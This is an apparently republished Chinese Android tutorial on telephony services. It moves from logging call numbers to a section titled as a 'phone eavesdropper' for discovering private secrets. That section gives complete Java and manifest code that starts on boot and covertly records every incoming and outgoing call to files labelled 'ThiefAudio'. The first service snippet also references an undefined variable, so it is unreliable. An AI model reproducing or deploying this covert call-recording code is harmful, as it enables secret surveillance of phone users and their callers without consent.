Android电话服务
来源:互联网 发布:中粮期货软件 编辑:程序博客网 时间:2024/05/01 17:41
电话服务
对电话进行监听:
1.使用getSystemService()方法可以取得Context.TELEPHONY_SERVICE服务,取得的服务对象类型为android.telephony.TelephonyManager.
Listen()方法是比较重要的一个方法,通过此方法可以绑定一个PhoneStateListener类的对象,以完成对电话各个状态的监听,在此类中,主要是通过onCallStateChanged()方法进行来、去电的监听处理。方法:
public void onCallStateChanged(int state,String incomingNumber);【state:判断电话的操作状态,;incomingNumber:拨入的电话号码】
(1)定义电话监听服务---PhoneServicepublic class PhoneService extends Service { private TelephonyManager telephony = null; @Override public void onCreate() { // 服务创建的时候操作 super.onCreate(); this.telephony = (TelephonyManager) super .getSystemService(Context.TELEPHONY_SERVICE); this.telephony.listen(new PhoneStateListenerImpl(), PhoneStateListener.LISTEN_CALL_STATE); // 设置监听操作 } private class PhoneStateListenerImpl extends PhoneStateListener { @Override public void onCallStateChanged(int state, String incomingNumber) { switch (state) { case TelephonyManager.CALL_STATE_IDLE: // 没有拨入或拨出电话状态 break; case TelephonyManager.CALL_STATE_RINGING: // 领音响起 System.out.println("拨入电话号码:" + incomingNumber + ",拨入时间:" + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss") .format(new Date()));//后台输出 break; case TelephonyManager.CALL_STATE_OFFHOOK: // 接听电话System.out.println("拨出电话号码:" + outgoingNumber + ",拨出时间:" + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss") .format(new Date()));//后台输出 break; } } } @Override public IBinder onBind(Intent intent) { return null; }}
(2)定义电话服务的广播接收器----PhoneBroadcastReceiverpublic class PhoneBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { if (Intent.ACTION_NEW_OUTGOING_CALL.equals(intent.getAction())) { // 去电 String outgoingNumber = intent .getStringExtra(Intent.EXTRA_PHONE_NUMBER); // 去电号码 Intent pit = new Intent(context, PhoneService.class); pit.putExtra("outgoingNumber", outgoingNumber);//保存去电号码 context.startService(pit);//启动Service } else { // 来电 context.startService(new Intent(context, PhoneService.class));// 启动Service } }}
(3)权限配置<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="org.lxh.demo" android:versionCode="1" android:versionName="1.0"> <uses-sdk android:minSdkVersion="10" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /> <application android:icon="@drawable/icon" android:label="@string/app_name"> <activity android:name=".MyPhoneDemo" android:label="@string/app_name"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name=".PhoneService" /> <receiver android:name=".PhoneBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.NEW_OUTGOING_CALL" /> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.PHONE_STATE" /> </intent-filter> </receiver> </application></manifest>
发现你的私人秘密:电话窃听器
(1)定义完成录音操作的工具类—RecodAudioUtilpublic class RecordAudioUtil { private MediaRecorder mediaRecorder = null;//录音工具类 private String recDir = "theifaudio"; private File recordAudioSaveFileDir = null; private boolean sdcardExists = false; private boolean isRecord = false; private String phoneNumber = null; // 电话号码 private String callType = null; // 呼叫类型 public RecordAudioUtil(String phoneNumber, String callType) { this.phoneNumber = phoneNumber; this.callType = callType; if ((this.sdcardExists = Environment.getExternalStorageState().equals( Environment.MEDIA_MOUNTED))) { this.recordAudioSaveFileDir = new File(Environment .getExternalStorageDirectory().toString() + File.separator + this.recDir + File.separator); if (!this.recordAudioSaveFileDir.exists()) { this.recordAudioSaveFileDir.mkdirs(); } } } public File record() { // 进行电话的录音,同时返回文件的路径 File recordAudioSaveFile = null; String recordAudioSaveFileName = null; if (this.sdcardExists) { // sd卡存在 recordAudioSaveFileName = this.recordAudioSaveFileDir.toString() + File.separator + "ThiefAudio_" + new SimpleDateFormat("yyyyMMddhhmmssSSS") .format(new Date()) + "_" + this.callType + "_" + this.phoneNumber + ".3gp"; recordAudioSaveFile = new File(recordAudioSaveFileName); this.mediaRecorder = new MediaRecorder(); this.mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); this.mediaRecorder .setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); this.mediaRecorder .setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); this.mediaRecorder.setOutputFile(recordAudioSaveFileName); try { this.mediaRecorder.prepare(); } catch (Exception e) { e.printStackTrace() ; } this.mediaRecorder.start(); this.isRecord = true; } return recordAudioSaveFile; } public void stop() { if (this.isRecord) { this.mediaRecorder.stop(); this.mediaRecorder.reset() ; this.mediaRecorder.release(); } }}
(2)修改通话操作的服务类---PhoneServicepublic class PhoneService extends Service { private TelephonyManager telephony = null; private String outgoingNumber = null; private RecordAudioUtil raUtil = null; @Override public void onCreate() { // 服务创建的时候操作 super.onCreate(); this.telephony = (TelephonyManager) super .getSystemService(Context.TELEPHONY_SERVICE); this.telephony.listen(new PhoneStateListenerImpl(), PhoneStateListener.LISTEN_CALL_STATE); // 设置监听操作 } @Override public void onStart(Intent intent, int startId) { this.outgoingNumber = intent.getStringExtra("outgoingNumber"); super.onStart(intent, startId); } private class PhoneStateListenerImpl extends PhoneStateListener { @Override public void onCallStateChanged(int state, String incomingNumber) { switch (state) { case TelephonyManager.CALL_STATE_IDLE: // 挂断电话 if (PhoneService.this.raUtil != null) { // 保险 PhoneService.this.raUtil.stop(); PhoneService.this.raUtil = null; } break; case TelephonyManager.CALL_STATE_RINGING: // 领音响起 PhoneService.this.raUtil = new RecordAudioUtil(incomingNumber, "拨入电话"); PhoneService.this.raUtil.record(); break; case TelephonyManager.CALL_STATE_OFFHOOK: // 接听电话 PhoneService.this.raUtil = new RecordAudioUtil( PhoneService.this.outgoingNumber, "拨出电话"); PhoneService.this.raUtil.record(); break; } } } @Override public IBinder onBind(Intent intent) { return null; }}
(3)PhoneBroadcastReceiver类public class PhoneBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { if (Intent.ACTION_NEW_OUTGOING_CALL.equals(intent.getAction())) { // 去电 String outgoingNumber = intent .getStringExtra(Intent.EXTRA_PHONE_NUMBER); // 去电号码 Intent pit = new Intent(context, PhoneService.class); pit.putExtra("outgoingNumber", outgoingNumber); context.startService(pit); } else { // 来电 context.startService(new Intent(context, PhoneService.class)); } }}
0 0
- android电话服务
- android服务监听电话
- Android电话服务
- Android电话服务完成版
- android服务Service----实现电话监听录音
- Android之服务Service---电话监听
- android,服务,监听电话状态,实现电话录音
- Android服务Service----实现电话监听录音
- android服务Service----实现电话监听录音
- Android中 服务Service 电话窃听器
- 45.android服务service-电话录音机
- Android 手机应用开发经验 之电话与短信服务
- android 使用服务来窃听电话,并且通过语音录制
- android 使用服务来窃听电话,并且通过语音录制
- Android之电话监听(利用服务实现)
- Android之service---利用服务实现电话监听
- Android应用开发之利用服务实现电话监听
- Android -- service 服务的创建与使用,生命周期,电话监控器
- 织梦dedecms全自动采集的方法
- mcc、mbuild和mex命令详解
- 透过CAT,来看分布式实时监控系统的设计与实现
- 构造函数
- java中的一些基本语句
- Android电话服务
- 作业——在线学习Android课程之第十周(传感器与LBS)
- java实现最大堆数据结构
- 如何用Logcat调试u3d信息?
- 结构体内存大小的求法(内存对齐)
- 线程玩具:打断(interrupted)
- 大众点评Cat--架构分析
- 大众点评Cat--Server模块架构分析
- 链表实现图书管理系统